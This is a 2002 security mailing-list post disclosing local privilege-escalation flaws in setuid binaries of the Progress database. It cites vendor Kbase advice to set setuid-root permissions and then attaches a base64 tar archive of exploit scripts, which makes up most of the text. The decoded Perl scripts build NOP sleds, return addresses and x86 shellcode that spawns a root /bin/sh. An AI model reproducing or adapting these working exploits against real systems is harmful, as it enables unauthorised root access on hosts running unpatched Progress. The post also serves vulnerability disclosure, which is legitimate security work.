|
Date: Mon, 10 Jun 2002 22:13:30 -0400 From: KF <dotslash@snosoft.com> To: Vuln-Dev <vuln-dev@securityfocus.com>, bugtraq@security-focus.com, Subject: 13 local PoC root exploit programs for Progress Database --------------070304090004080501000605 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Over the last couple years I have released several advisories on the security of the Progress database http://www.progress.com . Several versions of progres have since been retired and thus you should not be using them. Attached is a package containing 13 exploits to obtain root from Progress databases of various patch dates and release versions. Most of these exploits can be easily modified to work on all versions (from 63E) up and including the latest version 91d (like 83dbutils/83_proutil). There about 4 more exploits I need to code but they are a bit more difficult to exploit because they involve malloc() or free(). All of these issues should have already been addressed by progress patches, but be careful with which patch you apply... old Progerss patches are like rolling dice. These exploits will be available shortly at http://www.snosoft.com/research Here is a directory listing of the attached tar file to give you an idea of which programs are easily exploitable. [root@localhost working]# ls _dbutil-ex.pl _proapsv-ex.pl _progres_fileoverwrite.sh _rfutil-ex.pl _mprosrva-ex.pl _probuild-ex.pl _prooibk-ex.pl _mprosrv-ex.pl _progresa-ex.pl _prooidv-ex.pl _mprshut-ex.pl _progres-ex.pl _proutil-ex.pl Some of you may note that a few of these are not suid by default but I believe the following Kbase articles make that irrelevant. Kbase id 12538 says the following: EXPLANATION: In order for users to start a multi-user session for Progress, the following permissions should be maintained. Progress executables: The Progress executables should have read, write, and setuid for the user. The group and other should also have execute permissions. The owner of the executables should be root. This is accomplished with the the following steps: 1) Log in as root or switch user to root. 2) Move to the DLC directory. 3) Type the following set of commands: chown root _* chmod 4775 _* chmod 755 _sqlsrv2 chmod 755 _waitfor Or even better Kbase id 19341 says the following: When access to the Patch Web Site is available, go to: http://www.progress.com/patches/ ... copy -rom dlc/* $DLC 9. Change the permissions on the new files: find $DLC -exec chown root {} \; chmod 4755 $DLC/bin/_dbutil chmod 4755 $DLC/bin/_mprosrv chmod 4755 $DLC/bin/_mprshut chmod 4755 $DLC/bin/_orasrv chmod 4755 $DLC/bin/_proapsv chmod 4755 $DLC/bin/_probrkr chmod 4755 $DLC/bin/_probuild chmod 4755 $DLC/bin/_progres chmod 4755 $DLC/bin/_prooibk chmod 4755 $DLC/bin/_prooidv chmod 4755 $DLC/bin/_proutil chmod 4755 $DLC/bin/_rfutil chmod 4755 $DLC/bin/_sqlsrv2 chmod 4755 $DLC/bin/orarx chmod 4755 $DLC/bin/prolib chmod 4755 $DLC/bin/sqlcpp Enjoy folks. -KF --------------070304090004080501000605 Content-Type: application/octet-stream; name="working.tar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="working.tar" d29ya2luZy8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwNDA3NTUA MDAwMDAwMAAwMDAwMDAwADAwMDAwMDAwMDAwADA3MTIwNDE2MzU0ADAxMTI0MgAgNQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3b3JraW5nL19kYnV0aWwtZXgucGwAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAMDEwMDc1NQAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDIwNTQA MDcxMTc0NDY0MjIAMDEzNjQxACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABy b290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMh L3Vzci9iaW4vcGVybAojCiMgW3Jvb3RAbG9jYWxob3N0IHJvb3RdIyAvdXNyL2RsYy9iaW4v X2RidXRpbCBgLi9fZGJ1dGlsLWV4LnBsYAojIFN0YXJ0dXAgcGFyYW1ldGVycyBjYW5ub3Qg YmUgbG9uZ2VyIHRoYW4gMTI4IGNoYXJhY3RlcnMuICgxNDAxKQojIHNoLTIuMDUjCiMKIyBo dHRwOi8vd3d3LnNub3NvZnQuY29tIC0gbWFpbHRvOi8vZG90c2xhc2hAc25vc29mdC5jb20K IwojIFBST0dSRVNTIFZlcnNpb24gOC4zQjIwIGFzIG9mIFR1ZSBOb3YgIDkgMTk6MDA6MDMg RVNUIDE5OTkKIyBubyBwYXRjaGVzIC4uLiBkZWZhdWx0IGluc3RhbGwuIAojIC1yd3Nyd3hy LXggICAgMSByb290ICAgICByb290ICAgICAgIDUwODE1MSBOb3YgIDkgIDE5OTkgX2RidXRp bCoKCiRlaXA9MHgxMWJmZmZmYjsKCiMgMHhiZmZmZmIxMTogICAgICAnXDIyMCcgPHJlcGVh dHMgMTAzIHRpbWVzPiwgCiMgIjHAMduwXDAyN81cMjAw61wwMzdeXDIxMXZcYjHAXDIxMEZc YVwyMTFGXGawXDAxM1wyMTHzXDIxNU5cYlwyMTVWCiMgIFxmzVwyMDAx21wyMTHYQM1cMjAw 6Nz///8vYmluL3NoIgoKJG9mZiA9ICIwIjsKJHNpemU9IDU0MDsKCiRzaGVsbCA9IAoKICAg Ilx4MzFceGMwXHgzMVx4ZGJceGIwXHgxN1x4Y2RceDgwIi4KICAgIlx4ZWJceDFmXHg1ZVx4 ODlceDc2XHgwOFx4MzFceGMwXHg4OFx4NDZceDA3XHg4OVx4NDZceDBjXHhiMFx4MGIiLgog ICAiXHg4OVx4ZjNceDhkXHg0ZVx4MDhceDhkXHg1Nlx4MGNceGNkXHg4MFx4MzFceGRiXHg4 OVx4ZDhceDQwXHhjZCIuCiAgICJceDgwXHhlOFx4ZGNceGZmXHhmZlx4ZmYvYmluL3NoIjsK CiRudW1yZXR6ID0gKCgkc2l6ZSAgLSAkc2hlbGwpLzIpLzQgOwokbnVtbm9weiA9ICgkc2l6 ZSAgLSAkc2hlbGwpLzIgOwoKZm9yKCRpID0gMDsgJGkgPCAkbnVtcmV0ejsgJGkrKykKewoJ JGJ1ZmZlci49IHBhY2soJ2wnLCAoJGVpcCArICRvZmYpKTsKfQoKCmZvcigkaSA9IDA7ICRp IDwgJG51bW5vcHo7ICRpKyspCnsKCSRidWZmZXIuPSBwYWNrKCdsJywgMHg5MCk7Cn0KCiRi dWZmZXIgLj0kc2hlbGw7CgpwcmludCAiYSBhICRidWZmZXIiOwoKCgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAHdvcmtpbmcvX21wcm9zcnYtZXgucGwAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAwMTAwNzU1ADAwMDAwMDAAMDAwMDAwMAAwMDAwMDAwMjIwMAAwNzEx NzQ0Njc3MgAwMTQwNjcAIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAdXN0YXIgIAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJvb3QA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIyEvdXNy L2Jpbi9wZXJsCiMKIyBbcm9vdEBsb2NhbGhvc3Qgcm9vdF0jIC91c3IvZGxjL2Jpbi9fbXBy b3NydiBgLi9fbXByb3Nydi1leC5wbGAKIyBzaC0yLjA1IwojCiMgaHR0cDovL3d3dy5zbm9z b2Z0LmNvbSAtIG1haWx0bzovL2RvdHNsYXNoQHNub3NvZnQuY29tCiMKIyBQUk9HUkVTUyBW ZXJzaW9uIDguM0IyMCBhcyBvZiBUdWUgTm92ICA5IDE5OjAwOjAzIEVTVCAxOTk5CiMgbm8g cGF0Y2hlcyAuLi4gZGVmYXVsdCBpbnN0YWxsLiAKIyAtcndzcnd4ci14ICAgIDEgcm9vdCAg ICAgcm9vdCAgICAgICA1NTcwNzUgTm92ICA5ICAxOTk5IF9tcHJvc3J2KgoKJGVpcD0weGJm ZmZlNTAxOwoKIyAoZ2RiKSB4LzEwcyAkZWN4LTU4MzUKIyAweGJmZmZlNGUxOiAgICAgICIi CiMgMHhiZmZmZTRlMjogICAgICAiIgojIDB4YmZmZmU0ZTM6ICAgICAgIiIKIyAweGJmZmZl NGU0OiAgICAgICJpNjg2IgojIDB4YmZmZmU0ZTk6ICAgICAgIi91c3IvZGxjL2Jpbi8uL19t cHJvc3J2IgojIDB4YmZmZmU1MDE6ICAgICAgJ1wyMjAnIDxyZXBlYXRzIDIwMCB0aW1lcz4u Li4KIyAweGJmZmZlNWM5OiAgICAgICdcMjIwJyA8cmVwZWF0cyAyMDAgdGltZXM+Li4uCiMg MHhiZmZmZTY5MTogICAgICAnXDIyMCcgPHJlcGVhdHMgMjAwIHRpbWVzPi4uLgoKJG9mZiA9 ICIwIjsKJHNpemU9IDU3NDg7Cgokc2hlbGwgPSAKCiAgICJceDMxXHhjMFx4MzFceGRiXHhi MFx4MTdceGNkXHg4MCIuCiAgICJceGViXHgxZlx4NWVceDg5XHg3Nlx4MDhceDMxXHhjMFx4 ODhceDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBceDBiIi4KICAgIlx4ODlceGYzXHg4ZFx4NGVc eDA4XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4Y2QiLgogICAi XHg4MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7CgokbnVtcmV0eiA9ICgoJHNpemUg IC0gJHNoZWxsKS8yKS80IDsKJG51bW5vcHogPSAoJHNpemUgIC0gJHNoZWxsKS8yIDsKCmZv cigkaSA9IDA7ICRpIDwgJG51bW5vcHo7ICRpKyspCnsKCSRidWZmZXIuPSBwYWNrKCdsJywg MHg5MCk7Cn0KCiRidWZmZXIgLj0kc2hlbGw7Cgpmb3IoJGkgPSAwOyAkaSA8ICRudW1yZXR6 OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsICgkZWlwICsgJG9mZikpOwp9Cgpwcmlu dCAkYnVmZmVyCgoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAd29ya2luZy9fbXByb3NydmEtZXgucGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAADAxMDA3NTUAMDAwMDAwMAAwMDAwMDAwADAwMDAwMDAyMjA3ADA3MTE3NDQ3 MzMxADAxNDIyNwAgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAB1c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjIS91c3IvYmlu L3BlcmwKIwojIFtyb290QGxvY2FsaG9zdCByb290XSMgL3Vzci9kbGMvYmluL19tcHJvc3J2 YSBgLi9fbXByb3NydmEtZXgucGxgCiMgc2gtMi4wNSMKIwojIGh0dHA6Ly93d3cuc25vc29m dC5jb20gLSBtYWlsdG86Ly9kb3RzbGFzaEBzbm9zb2Z0LmNvbQojCiMgUFJPR1JFU1MgVmVy c2lvbiA4LjNCMjAgYXMgb2YgVHVlIE5vdiAgOSAxOTowMDowMyBFU1QgMTk5OQojIG5vIHBh dGNoZXMgLi4uIGRlZmF1bHQgaW5zdGFsbC4gCiMgLXJ3c3J3eHIteCAgICAxIHJvb3QgICAg IHJvb3QgICAgICAgNTYxMjk0IE5vdiAgOSAgMTk5OSAuL19tcHJvc3J2YSoKCgokZWlwPTB4 MDFiZmZmZTU7CgojIChnZGIpIHgvMTBzICRlY3gtNTgzNQojIDB4YmZmZmU0ZTE6ICAgICAg IiIKIyAweGJmZmZlNGUyOiAgICAgICIiCiMgMHhiZmZmZTRlMzogICAgICAiIgojIDB4YmZm ZmU0ZTQ6ICAgICAgImk2ODYiCiMgMHhiZmZmZTRlOTogICAgICAiL3Vzci9kbGMvYmluLy4v X21wcm9zcnZhIgojIDB4YmZmZmU1MDE6ICAgICAgJ1wyMjAnIDxyZXBlYXRzIDIwMCB0aW1l cz4uLi4KIyAweGJmZmZlNWM5OiAgICAgICdcMjIwJyA8cmVwZWF0cyAyMDAgdGltZXM+Li4u CiMgMHhiZmZmZTY5MTogICAgICAnXDIyMCcgPHJlcGVhdHMgMjAwIHRpbWVzPi4uLgoKJG9m ZiA9ICIwIjsKJHNpemU9IDU3NDg7Cgokc2hlbGwgPSAKCiAgICJceDMxXHhjMFx4MzFceGRi XHhiMFx4MTdceGNkXHg4MCIuCiAgICJceGViXHgxZlx4NWVceDg5XHg3Nlx4MDhceDMxXHhj MFx4ODhceDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBceDBiIi4KICAgIlx4ODlceGYzXHg4ZFx4 NGVceDA4XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4Y2QiLgog ICAiXHg4MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7CgokbnVtcmV0eiA9ICgoJHNp emUgIC0gJHNoZWxsKS8yKS80IDsKJG51bW5vcHogPSAoJHNpemUgIC0gJHNoZWxsKS8yIDsK CmZvcigkaSA9IDA7ICRpIDwgJG51bW5vcHo7ICRpKyspCnsKCSRidWZmZXIuPSBwYWNrKCds JywgMHg5MCk7Cn0KCiRidWZmZXIgLj0kc2hlbGw7Cgpmb3IoJGkgPSAwOyAkaSA8ICRudW1y ZXR6OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsICgkZWlwICsgJG9mZikpOwp9Cgpw cmludCAkYnVmZmVyCgoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAB3b3JraW5nL19tcHJzaHV0LWV4LnBsAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAMDEwMDc1NQAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDIwNjYAMDcxMTc0NDc2MzEA MDE0MDY2ACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMhL3Vzci9iaW4vcGVy bAojCiMgW3Jvb3RAbG9jYWxob3N0IHJvb3RdIyAvdXNyL2RsYy9iaW4vX21wcnNodXQgYC4v X21wcnNodXQtZXgucGxgCiMgc2gtMi4wNSMgCiMKIyBodHRwOi8vd3d3LnNub3NvZnQuY29t IC0gbWFpbHRvOi8vZG90c2xhc2hAc25vc29mdC5jb20KIwojIFBST0dSRVNTIFZlcnNpb24g OC4zQjIwIGFzIG9mIFR1ZSBOb3YgIDkgMTk6MDA6MDMgRVNUIDE5OTkKIyBubyBwYXRjaGVz IC4uLiBkZWZhdWx0IGluc3RhbGwuIAojIC1yd3Nyd3hyLXggICAgMSByb290ICAgICByb290 ICAgICAgIDYwNDYzNSBOb3YgIDkgIDE5OTkgL3Vzci9kbGMvYmluL19tcHJzaHV0KgoKJGVp cD0weGU0MjdiZmZmOwoKIyAoZ2RiKSB4LzEwcyAkZWN4LTYwNTAKIyAweGJmZmZlNDBhOiAg ICAgICJpNjg2IgojIDB4YmZmZmU0MGY6ICAgICAgIi91c3IvZGxjL2Jpbi8uL19tcHJzaHV0 IgojIDB4YmZmZmU0Mjc6ICAgICAgJ1wyMjAnIDxyZXBlYXRzIDIwMCB0aW1lcz4uLi4KIyAw eGJmZmZlNGVmOiAgICAgICdcMjIwJyA8cmVwZWF0cyAyMDAgdGltZXM+Li4uCiMgMHhiZmZm ZTViNzogICAgICAnXDIyMCcgPAoKJG9mZiA9ICIwIjsKJHNpemU9IDU5Njk7Cgokc2hlbGwg PSAKCiAgICJceDMxXHhjMFx4MzFceGRiXHhiMFx4MTdceGNkXHg4MCIuCiAgICJceGViXHgx Zlx4NWVceDg5XHg3Nlx4MDhceDMxXHhjMFx4ODhceDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBc eDBiIi4KICAgIlx4ODlceGYzXHg4ZFx4NGVceDA4XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMx XHhkYlx4ODlceGQ4XHg0MFx4Y2QiLgogICAiXHg4MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jp bi9zaCI7CgokbnVtcmV0eiA9ICgoJHNpemUgIC0gJHNoZWxsKS8yKS80IDsKJG51bW5vcHog PSAoJHNpemUgIC0gJHNoZWxsKS8yIDsKCmZvcigkaSA9IDA7ICRpIDwgJG51bW5vcHo7ICRp KyspCnsKCSRidWZmZXIuPSBwYWNrKCdsJywgMHg5MCk7Cn0KCiRidWZmZXIgLj0kc2hlbGw7 Cgpmb3IoJGkgPSAwOyAkaSA8ICRudW1yZXR6OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygn bCcsICgkZWlwICsgJG9mZikpOwp9CgpwcmludCAkYnVmZmVyCgoAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHdvcmtpbmcvX3Byb3V0aWwtZXgucGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAwMTAwNzU1ADAwMDAwMDAAMDAwMDAwMAAwMDAwMDAwMjIzMwAwNzExNzQ1MDExMAAwMTQw NDAAIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdXN0 YXIgIAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJvb3QAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIyEvdXNyL2Jpbi9wZXJsCiMK IyBbcm9vdEBsb2NhbGhvc3Qgcm9vdF0jIC91c3IvZGxjL2Jpbi9fcHJvdXRpbCBgLi9fcHJv dXRpbC1leC5wbCBgCiMgc2gtMi4wNSMKIwojIGh0dHA6Ly93d3cuc25vc29mdC5jb20gLSBt YWlsdG86Ly9kb3RzbGFzaEBzbm9zb2Z0LmNvbQojCiMgUFJPR1JFU1MgVmVyc2lvbiA4LjNC MjAgYXMgb2YgVHVlIE5vdiAgOSAxOTowMDowMyBFU1QgMTk5OQojIG5vIHBhdGNoZXMgLi4u IGRlZmF1bHQgaW5zdGFsbC4gCiMgLXJ3c3J3eHIteCAgICAxIHJvb3QgICAgIHJvb3QgICAg ICAgOTcxMjA5IE5vdiAgOSAgMTk5OSBfcHJvdXRpbCoKCiRlaXA9MHhiZmZmZTQzMTsKCiMg KGdkYikgeC8xMHMgJGVjeC02MDQwCiMgMHhiZmZmZTQxNDogICAgICAiaTY4NiIKIyAweGJm ZmZlNDE5OiAgICAgICIvdXNyL2RsYy9iaW4vLi9fcHJvdXRpbCIKIyAweGJmZmZlNDMxOiAg ICAgICdcMjIwJyA8cmVwZWF0cyAyMDAgdGltZXM+Li4uCiMgMHhiZmZmZTRmOTogICAgICAn XDIyMCcgPHJlcGVhdHMgMjAwIHRpbWVzPi4uLgojIDB4YmZmZmU1YzE6ICAgICAgJ1wyMjAn IDxyZXBlYXRzIDIwMCB0aW1lcz4uLi4KIyAweGJmZmZlNjg5OiAgICAgICdcMjIwJyA8cmVw ZWF0cyAyMDAgdGltZXM+Li4uCiMgMHhiZmZmZTc1MTogICAgICAnXDIyMCcgPHJlcGVhdHMg MjAwIHRpbQoKJG9mZiA9ICIwIjsKJHNpemU9IDU5NTY7Cgokc2hlbGwgPSAKCiAgICJceDMx XHhjMFx4MzFceGRiXHhiMFx4MTdceGNkXHg4MCIuCiAgICJceGViXHgxZlx4NWVceDg5XHg3 Nlx4MDhceDMxXHhjMFx4ODhceDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBceDBiIi4KICAgIlx4 ODlceGYzXHg4ZFx4NGVceDA4XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4 XHg0MFx4Y2QiLgogICAiXHg4MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7CgokbnVt cmV0eiA9ICgoJHNpemUgIC0gJHNoZWxsKS8yKS80IDsKJG51bW5vcHogPSAoJHNpemUgIC0g JHNoZWxsKS8yIDsKCmZvcigkaSA9IDA7ICRpIDwgJG51bW5vcHo7ICRpKyspCnsKCSRidWZm ZXIuPSBwYWNrKCdsJywgMHg5MCk7Cn0KCiRidWZmZXIgLj0kc2hlbGw7Cgpmb3IoJGkgPSAw OyAkaSA8ICRudW1yZXR6OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsICgkZWlwICsg JG9mZikpOwp9CgpwcmludCAkYnVmZmVyCgoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 